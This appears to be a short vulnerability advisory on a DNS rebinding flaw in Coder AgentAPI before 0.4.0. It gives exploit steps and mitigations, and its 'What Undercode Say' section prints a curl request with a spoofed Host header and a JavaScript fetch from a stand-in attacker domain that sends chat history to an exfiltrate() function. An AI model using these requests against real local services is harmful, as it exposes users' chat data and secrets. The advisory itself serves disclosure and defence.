Listen to this Post
The vulnerability in Coder AgentAPI prior to version 0.4.0 stems from insufficient validation of the `Origin` and `Host` HTTP headers when the service is hosted over plain HTTP on localhost. A DNS rebinding attack exploits this weakness by tricking a user’s browser. An attacker registers a domain name that points to a very short Time-To-Live (TTL) DNS record, first resolving to the attacker’s own server and then, upon a subsequent lookup by the browser, to the localhost IP (127.0.0.1). Because the browser’s same-origin policy is based on the domain name, it allows the malicious script from the attacker’s domain to make a request to the local AgentAPI instance after the DNS record has been rebound. Since the AgentAPI did not verify the request’s origin, it would improperly respond, allowing the attacker’s script to access the `/messages` endpoint and exfiltrate sensitive user chat history.
Platform: Coder AgentAPI
Version: < 0.4.0
Vulnerability: DNS Rebinding
Severity: Moderate
date: 2025-09-29
Prediction: 2025-10-13
What Undercode Say:
nslookup malicious.example.com TTL is very short. curl -H "Host: 127.0.0.1:8080" http://malicious.example.com/messages
// Attacker's script on malicious site
fetch("http://malicious.example.com:8080/messages")
.then(response => response.json())
.then(data => exfiltrate(data));
How Exploit:
Attacker registers malicious domain.
User visits malicious webpage.
DNS record rebinds to 127.0.0.1.
Malicious script fetches `/messages`.
Sensitive data is exfiltrated.
Protection from this CVE
Upgrade to v0.4.0.
Implement Origin/Host validation.
Use HTTPS exclusively.
Impact:
Unauthorized data access.
Secret keys exposure.
Intellectual property theft.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

